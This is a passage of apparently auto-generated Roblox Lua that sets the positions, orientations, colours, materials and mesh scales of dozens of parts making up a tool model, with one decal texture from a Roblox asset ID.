- Part214.Position = Vector3.new(27.104126, 0.940186024, 137.125427)
- Part214.Orientation = Vector3.new(0, 179.459991, 0)
- Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh215.Parent = Part214
- BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
- BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
- Part216.Parent = Tool0
- Part216.Material = Enum.Material.SmoothPlastic
- Part216.BrickColor = BrickColor.new("Brick yellow")
- Part216.Reflectance = 0.050000000745058
- Part216.Rotation = Vector3.new(180, -89.4599991, -90)
- Part216.Anchored = true
- Part216.FormFactor = Enum.FormFactor.Custom
- Part216.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part216.CFrame = CFrame.new(27.1051025, 0.727294981, 137.041504, -4.398931e-08, 0.00939130783, -0.999955833, 0.999999404, 2.98023117e-08, -4.37113883e-08, 2.93904776e-08, -0.999954998, -0.00939165056)
- Part216.BottomSurface = Enum.SurfaceType.Smooth
- Part216.TopSurface = Enum.SurfaceType.Smooth
- Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part216.Position = Vector3.new(27.1051025, 0.727294981, 137.041504)
- Part216.Orientation = Vector3.new(0, -90.5400009, 90)
- Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
- CylinderMesh217.Parent = Part216
- CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
- CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
- Part218.Parent = Tool0
- Part218.Material = Enum.Material.SmoothPlastic
- Part218.BrickColor = BrickColor.new("Black")
- Part218.Reflectance = 0.050000000745058
- Part218.Rotation = Vector3.new(135, 0.379999995, -179.619995)
- Part218.Anchored = true
- Part218.FormFactor = Enum.FormFactor.Custom
- Part218.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
- Part218.CFrame = CFrame.new(27.1015625, 0.95214802, 137.403931, -0.999955833, 0.0066408813, 0.0066409111, -4.37113883e-08, 0.707106292, -0.707106292, -0.00939165056, -0.707075179, -0.707075119)
- Part218.BottomSurface = Enum.SurfaceType.Smooth
- Part218.TopSurface = Enum.SurfaceType.Smooth
- Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part218.Position = Vector3.new(27.1015625, 0.95214802, 137.403931)
- Part218.Orientation = Vector3.new(45, 179.459991, 0)
- Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh219.Parent = Part218
- BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
- BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
- Part220.Parent = Tool0
- Part220.Material = Enum.Material.SmoothPlastic
- Part220.BrickColor = BrickColor.new("Black")
- Part220.Reflectance = 0.050000000745058
- Part220.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part220.Anchored = true
- Part220.FormFactor = Enum.FormFactor.Custom
- Part220.Size = Vector3.new(0.200000003, 0.200000003, 0.720000029)
- Part220.CFrame = CFrame.new(27.1015625, 1.06909204, 137.4104, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
- Part220.BottomSurface = Enum.SurfaceType.Smooth
- Part220.TopSurface = Enum.SurfaceType.Smooth
- Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part220.Position = Vector3.new(27.1015625, 1.06909204, 137.4104)
- Part220.Orientation = Vector3.new(0, 179.459991, 0)
- Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh221.Parent = Part220
- BlockMesh221.Offset = Vector3.new(0, 0, 0.00300000003)
- BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
- BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
- Part222.Parent = Tool0
- Part222.Material = Enum.Material.SmoothPlastic
- Part222.BrickColor = BrickColor.new("Black")
- Part222.Reflectance = 0.050000000745058
- Part222.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part222.Anchored = true
- Part222.FormFactor = Enum.FormFactor.Custom
- Part222.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
- Part222.CFrame = CFrame.new(27.0994873, 1.04223597, 137.620071, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
- Part222.BottomSurface = Enum.SurfaceType.Smooth
- Part222.TopSurface = Enum.SurfaceType.Smooth
- Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part222.Position = Vector3.new(27.0994873, 1.04223597, 137.620071)
- Part222.Orientation = Vector3.new(0, 179.459991, 0)
- Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh223.Parent = Part222
- BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
- BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
- Part224.Parent = Tool0
- Part224.Material = Enum.Material.SmoothPlastic
- Part224.BrickColor = BrickColor.new("Black")
- Part224.Reflectance = 0.050000000745058
- Part224.Rotation = Vector3.new(180, 0.539999962, 180)
- Part224.Anchored = true
- Part224.FormFactor = Enum.FormFactor.Custom
- Part224.Size = Vector3.new(0.200000003, 0.200000003, 0.540000021)
- Part224.CFrame = CFrame.new(27.1009521, 1.10815406, 137.500504, -0.999955297, -4.35694645e-08, 0.00939142704, -4.37113741e-08, 0.999999106, -1.49011612e-08, -0.00939147174, -1.53110111e-08, -0.99995476)
- Part224.BottomSurface = Enum.SurfaceType.Smooth
- Part224.TopSurface = Enum.SurfaceType.Smooth
- Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part224.Position = Vector3.new(27.1009521, 1.10815406, 137.500504)
- Part224.Orientation = Vector3.new(0, 179.459991, 0)
- Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh225.Parent = Part224
- BlockMesh225.Offset = Vector3.new(0, 0, 0.00300000003)
- BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
- BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
- Part226.Parent = Tool0
- Part226.Material = Enum.Material.SmoothPlastic
- Part226.BrickColor = BrickColor.new("Brick yellow")
- Part226.Reflectance = 0.050000000745058
- Part226.Rotation = Vector3.new(0, 89.4599991, -180)
- Part226.Anchored = true
- Part226.FormFactor = Enum.FormFactor.Custom
- Part226.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
- Part226.CFrame = CFrame.new(26.9997559, 0.982177973, 137.037064, -0.00939130783, 4.398931e-08, 0.999955833, -2.98023117e-08, -0.999999404, 4.37113883e-08, 0.999954998, -2.93904776e-08, 0.00939165056)
- Part226.BottomSurface = Enum.SurfaceType.Smooth
- Part226.TopSurface = Enum.SurfaceType.Smooth
- Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part226.Position = Vector3.new(26.9997559, 0.982177973, 137.037064)
- Part226.Orientation = Vector3.new(0, 89.4599991, -180)
- Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh227.Parent = Part226
- SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
- SpecialMesh227.MeshType = Enum.MeshType.Wedge
- SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
- Part228.Parent = Tool0
- Part228.Material = Enum.Material.SmoothPlastic
- Part228.BrickColor = BrickColor.new("Black")
- Part228.Reflectance = 0.050000000745058
- Part228.Rotation = Vector3.new(-90, 0, 179.459991)
- Part228.Anchored = true
- Part228.FormFactor = Enum.FormFactor.Custom
- Part228.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
- Part228.CFrame = CFrame.new(27.0190411, 1.24609399, 139.761414, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
- Part228.BottomSurface = Enum.SurfaceType.Smooth
- Part228.TopSurface = Enum.SurfaceType.Smooth
- Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part228.Position = Vector3.new(27.0190411, 1.24609399, 139.761414)
- Part228.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
- Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh229.Parent = Part228
- CylinderMesh229.Offset = Vector3.new(0, -0.00239999988, 0)
- CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
- CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
- Part230.Parent = Tool0
- Part230.Material = Enum.Material.SmoothPlastic
- Part230.BrickColor = BrickColor.new("Brick yellow")
- Part230.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part230.Anchored = true
- Part230.FormFactor = Enum.FormFactor.Custom
- Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
- Part230.CFrame = CFrame.new(26.8995361, 1.26122999, 139.760315, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part230.BottomSurface = Enum.SurfaceType.Smooth
- Part230.TopSurface = Enum.SurfaceType.Smooth
- Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part230.Position = Vector3.new(26.8995361, 1.26122999, 139.760315)
- Part230.Orientation = Vector3.new(0, 179.459991, 0)
- Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh231.Parent = Part230
- BlockMesh231.Offset = Vector3.new(-0.0149999997, 0, 0)
- BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
- BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
- Part232.Parent = Tool0
- Part232.Material = Enum.Material.SmoothPlastic
- Part232.BrickColor = BrickColor.new("Brick yellow")
- Part232.Reflectance = 0.050000000745058
- Part232.Rotation = Vector3.new(180, -89.4599991, 0)
- Part232.Anchored = true
- Part232.FormFactor = Enum.FormFactor.Custom
- Part232.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
- Part232.CFrame = CFrame.new(27.2097168, 0.988281012, 137.039001, 0.00939130783, 4.398931e-08, -0.999955833, 2.98023117e-08, -0.999999404, -4.37113883e-08, -0.999954998, -2.93904776e-08, -0.00939165056)
- Part232.BottomSurface = Enum.SurfaceType.Smooth
- Part232.TopSurface = Enum.SurfaceType.Smooth
- Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part232.Position = Vector3.new(27.2097168, 0.988281012, 137.039001)
- Part232.Orientation = Vector3.new(0, -90.5400009, 180)
- Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh233.Parent = Part232
- SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
- SpecialMesh233.MeshType = Enum.MeshType.Wedge
- SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
- Part234.Parent = Tool0
- Part234.Material = Enum.Material.SmoothPlastic
- Part234.BrickColor = BrickColor.new("Black")
- Part234.Reflectance = 0.050000000745058
- Part234.Rotation = Vector3.new(180, -89.4599991, -90)
- Part234.Anchored = true
- Part234.FormFactor = Enum.FormFactor.Custom
- Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.270000011)
- Part234.CFrame = CFrame.new(27.0954571, 1.273193, 138.040222, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
- Part234.BottomSurface = Enum.SurfaceType.Smooth
- Part234.TopSurface = Enum.SurfaceType.Smooth
- Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part234.Position = Vector3.new(27.0954571, 1.273193, 138.040222)
- Part234.Orientation = Vector3.new(0, -90.5400009, 90)
- Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh235.Parent = Part234
- CylinderMesh235.Offset = Vector3.new(-0.00600000005, 0, 0)
- CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
- CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
- Part236.Parent = Tool0
- Part236.Material = Enum.Material.SmoothPlastic
- Part236.BrickColor = BrickColor.new("Black")
- Part236.Reflectance = 0.050000000745058
- Part236.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part236.Anchored = true
- Part236.FormFactor = Enum.FormFactor.Custom
- Part236.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part236.CFrame = CFrame.new(27.1049805, 1.12329102, 137.056335, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
- Part236.BottomSurface = Enum.SurfaceType.Smooth
- Part236.TopSurface = Enum.SurfaceType.Smooth
- Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part236.Position = Vector3.new(27.1049805, 1.12329102, 137.056335)
- Part236.Orientation = Vector3.new(0, 179.459991, 0)
- Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh237.Parent = Part236
- BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
- BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
- Part238.Parent = Tool0
- Part238.Material = Enum.Material.SmoothPlastic
- Part238.BrickColor = BrickColor.new("Brick yellow")
- Part238.Reflectance = 0.050000000745058
- Part238.Rotation = Vector3.new(180, -89.4499969, -90)
- Part238.Anchored = true
- Part238.FormFactor = Enum.FormFactor.Custom
- Part238.Size = Vector3.new(0.270000011, 0.200000003, 0.270000011)
- Part238.CFrame = CFrame.new(27.1051025, 1.22827101, 137.041504, -2.79857915e-10, 0.00939138234, -0.99995476, 0.999997616, 2.98022709e-08, -2.48689958e-14, 2.98009351e-08, -0.999953687, -0.00939142704)
- Part238.BottomSurface = Enum.SurfaceType.Smooth
- Part238.TopSurface = Enum.SurfaceType.Smooth
- Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part238.Position = Vector3.new(27.1051025, 1.22827101, 137.041504)
- Part238.Orientation = Vector3.new(0, -90.5400009, 90)
- Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
- CylinderMesh239.Parent = Part238
- CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
- CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
- Part240.Parent = Tool0
- Part240.Material = Enum.Material.SmoothPlastic
- Part240.BrickColor = BrickColor.new("Black")
- Part240.Reflectance = 0.050000000745058
- Part240.Rotation = Vector3.new(-90, 0, 179.459991)
- Part240.Anchored = true
- Part240.FormFactor = Enum.FormFactor.Custom
- Part240.Size = Vector3.new(0.200000003, 0.270000011, 0.200000003)
- Part240.CFrame = CFrame.new(27.0733643, 1.26122999, 140.391907, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
- Part240.BottomSurface = Enum.SurfaceType.Smooth
- Part240.TopSurface = Enum.SurfaceType.Smooth
- Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part240.Position = Vector3.new(27.0733643, 1.26122999, 140.391907)
- Part240.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
- Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal241.Parent = Part240
- Decal241.Texture = "http://www.roblox.com/asset/?id=65628034"
- Decal241.Face = Enum.NormalId.Bottom
- CylinderMesh242.Parent = Part240
- CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
- CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
- Part243.Parent = Tool0
- Part243.Material = Enum.Material.SmoothPlastic
- Part243.BrickColor = BrickColor.new("Black")
- Part243.Reflectance = 0.050000000745058
- Part243.Rotation = Vector3.new(-90.5400009, -45, -90.7599945)
- Part243.Anchored = true
- Part243.FormFactor = Enum.FormFactor.Custom
- Part243.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
- Part243.CFrame = CFrame.new(27.1330566, 1.26122999, 140.743469, -0.00939133763, 0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, 0.70710665, 0.999955535, 0.00664079189, -0.00664079189)
- Part243.BottomSurface = Enum.SurfaceType.Smooth
- Part243.TopSurface = Enum.SurfaceType.Smooth
- Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part243.Position = Vector3.new(27.1330566, 1.26122999, 140.743469)
- Part243.Orientation = Vector3.new(-45, -90.5400009, 0)
- Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh244.Parent = Part243
- SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- SpecialMesh244.MeshType = Enum.MeshType.Wedge
- SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- Part245.Parent = Tool0
- Part245.Material = Enum.Material.SmoothPlastic
- Part245.BrickColor = BrickColor.new("Black")
- Part245.Reflectance = 0.050000000745058
- Part245.Rotation = Vector3.new(-90, 0, 179.459991)
- Part245.Anchored = true
- Part245.FormFactor = Enum.FormFactor.Custom
- Part245.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
- Part245.CFrame = CFrame.new(27.1395264, 1.24609399, 139.762512, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
- Part245.BottomSurface = Enum.SurfaceType.Smooth
- Part245.TopSurface = Enum.SurfaceType.Smooth
- Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part245.Position = Vector3.new(27.1395264, 1.24609399, 139.762512)
- Part245.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
- Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh246.Parent = Part245
- CylinderMesh246.Offset = Vector3.new(0, -0.00239999988, 0)
- CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
- CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
- Part247.Parent = Tool0
- Part247.Material = Enum.Material.SmoothPlastic
- Part247.BrickColor = BrickColor.new("Black")
- Part247.Reflectance = 0.050000000745058
- Part247.Rotation = Vector3.new(89.4599991, 45, 90.7599945)
- Part247.Anchored = true
- Part247.FormFactor = Enum.FormFactor.Custom
- Part247.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
- Part247.CFrame = CFrame.new(27.0042725, 1.26122999, 140.742371, -0.00939133763, -0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, -0.70710665, 0.999955535, -0.00664079189, 0.00664079189)
- Part247.BottomSurface = Enum.SurfaceType.Smooth
- Part247.TopSurface = Enum.SurfaceType.Smooth
- Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part247.Position = Vector3.new(27.0042725, 1.26122999, 140.742371)
- Part247.Orientation = Vector3.new(45, 89.4599991, -180)
- Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh248.Parent = Part247
- SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- SpecialMesh248.MeshType = Enum.MeshType.Wedge
- SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- Part249.Parent = Tool0
- Part249.Material = Enum.Material.SmoothPlastic
- Part249.BrickColor = BrickColor.new("Black")
- Part249.Reflectance = 0.050000000745058
- Part249.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
- Part249.Anchored = true
- Part249.FormFactor = Enum.FormFactor.Custom
- Part249.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part249.CFrame = CFrame.new(27.0714111, 1.26122999, 140.574951, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
- Part249.BottomSurface = Enum.SurfaceType.Smooth
- Part249.TopSurface = Enum.SurfaceType.Smooth
- Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part249.Position = Vector3.new(27.0714111, 1.26122999, 140.574951)
- Part249.Orientation = Vector3.new(-45, 89.4599991, 90)
- Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh250.Parent = Part249
- CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
- CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
- Part251.Parent = Tool0
- Part251.Material = Enum.Material.SmoothPlastic
- Part251.BrickColor = BrickColor.new("Black")
- Part251.Reflectance = 0.050000000745058
- Part251.Rotation = Vector3.new(90.5400009, -45, 90.7599945)
- Part251.Anchored = true
- Part251.FormFactor = Enum.FormFactor.Custom
- Part251.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
- Part251.CFrame = CFrame.new(27.0697021, 1.32714796, 140.743164, -0.00939133763, -0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, -0.70710665, 0.999955535, -0.00664079189, -0.00664079189)
- Part251.BottomSurface = Enum.SurfaceType.Smooth
- Part251.TopSurface = Enum.SurfaceType.Smooth
- Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part251.Position = Vector3.new(27.0697021, 1.32714796, 140.743164)
- Part251.Orientation = Vector3.new(45, -90.5400009, 0)
- Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh252.Parent = Part251
- SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- SpecialMesh252.MeshType = Enum.MeshType.Wedge
- SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- Part253.Parent = Tool0
- Part253.Material = Enum.Material.SmoothPlastic
- Part253.BrickColor = BrickColor.new("Black")
- Part253.Reflectance = 0.050000000745058
- Part253.Rotation = Vector3.new(-89.4599991, 45, -90.7599945)
- Part253.Anchored = true
- Part253.FormFactor = Enum.FormFactor.Custom
- Part253.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
- Part253.CFrame = CFrame.new(27.0697021, 1.19531202, 140.743164, -0.00939133763, 0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, 0.70710665, 0.999955535, 0.00664079189, 0.00664079189)
- Part253.BottomSurface = Enum.SurfaceType.Smooth
- Part253.TopSurface = Enum.SurfaceType.Smooth
- Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part253.Position = Vector3.new(27.0697021, 1.19531202, 140.743164)
- Part253.Orientation = Vector3.new(-45, 89.4599991, -180)
- Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh254.Parent = Part253
- SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- SpecialMesh254.MeshType = Enum.MeshType.Wedge
- SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
- Part255.Parent = Tool0
- Part255.Material = Enum.Material.SmoothPlastic
- Part255.BrickColor = BrickColor.new("Really black")
- Part255.Reflectance = 0.050000000745058
- Part255.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
- Part255.Anchored = true
- Part255.FormFactor = Enum.FormFactor.Custom
- Part255.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part255.CFrame = CFrame.new(27.0692139, 1.26122999, 140.865967, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
- Part255.BottomSurface = Enum.SurfaceType.Smooth
- Part255.TopSurface = Enum.SurfaceType.Smooth
- Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part255.Position = Vector3.new(27.0692139, 1.26122999, 140.865967)
- Part255.Orientation = Vector3.new(-45, 89.4599991, 90)
- Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- CylinderMesh256.Parent = Part255
- CylinderMesh256.Offset = Vector3.new(0, -0.239999995, 0)
- CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
- CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
- Part257.Parent = Tool0
- Part257.Material = Enum.Material.SmoothPlastic
- Part257.BrickColor = BrickColor.new("Really black")
- Part257.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part257.Anchored = true
- Part257.FormFactor = Enum.FormFactor.Custom
- Part257.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part257.CFrame = CFrame.new(27.2574463, 1.336182, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part257.BottomSurface = Enum.SurfaceType.Smooth
- Part257.TopSurface = Enum.SurfaceType.Smooth
- Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part257.Position = Vector3.new(27.2574463, 1.336182, 139.973999)
- Part257.Orientation = Vector3.new(0, 179.459991, 0)
- Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh258.Parent = Part257
- BlockMesh258.Offset = Vector3.new(0.180000007, -0.1875, 0)
- BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
- BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
- Part259.Parent = Tool0
- Part259.Material = Enum.Material.SmoothPlastic
- Part259.BrickColor = BrickColor.new("Really black")
- Part259.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part259.Anchored = true
- Part259.FormFactor = Enum.FormFactor.Custom
- Part259.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part259.CFrame = CFrame.new(27.2574463, 1.36621106, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part259.BottomSurface = Enum.SurfaceType.Smooth
- Part259.TopSurface = Enum.SurfaceType.Smooth
- Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part259.Position = Vector3.new(27.2574463, 1.36621106, 139.973999)
- Part259.Orientation = Vector3.new(0, 179.459991, 0)
- Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh260.Parent = Part259
- BlockMesh260.Offset = Vector3.new(0.180000007, -0.1875, 0)
- BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
- BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
- Part261.Parent = Tool0
- Part261.Material = Enum.Material.SmoothPlastic
- Part261.BrickColor = BrickColor.new("Black")
- Part261.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part261.Anchored = true
- Part261.FormFactor = Enum.FormFactor.Custom
- Part261.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
- Part261.CFrame = CFrame.new(27.2590332, 1.26122999, 139.763794, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part261.BottomSurface = Enum.SurfaceType.Smooth
- Part261.TopSurface = Enum.SurfaceType.Smooth
- Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part261.Position = Vector3.new(27.2590332, 1.26122999, 139.763794)
- Part261.Orientation = Vector3.new(0, 179.459991, 0)
- Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh262.Parent = Part261
- BlockMesh262.Offset = Vector3.new(0.0149999997, 0, 0)
- BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
- BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
- Part263.Parent = Tool0
- Part263.Material = Enum.Material.SmoothPlastic
- Part263.BrickColor = BrickColor.new("Black")
- Part263.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part263.Anchored = true
- Part263.FormFactor = Enum.FormFactor.Custom
- Part263.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
- Part263.CFrame = CFrame.new(27.0793457, 1.12011695, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
- Part263.BottomSurface = Enum.SurfaceType.Smooth
- Part263.TopSurface = Enum.SurfaceType.Smooth
- Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part263.Position = Vector3.new(27.0793457, 1.12011695, 139.761902)
- Part263.Orientation = Vector3.new(0, 179.459991, 0)
- Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh264.Parent = Part263
- BlockMesh264.Offset = Vector3.new(0, 0.0269999988, 0)
- BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
- BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
- Part265.Parent = Tool0
- Part265.Material = Enum.Material.SmoothPlastic
- Part265.BrickColor = BrickColor.new("Really black")
- Part265.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part265.Anchored = true
- Part265.FormFactor = Enum.FormFactor.Custom
- Part265.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part265.CFrame = CFrame.new(27.2612305, 1.36621106, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part265.BottomSurface = Enum.SurfaceType.Smooth
- Part265.TopSurface = Enum.SurfaceType.Smooth
- Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part265.Position = Vector3.new(27.2612305, 1.36621106, 139.553955)
- Part265.Orientation = Vector3.new(0, 179.459991, 0)
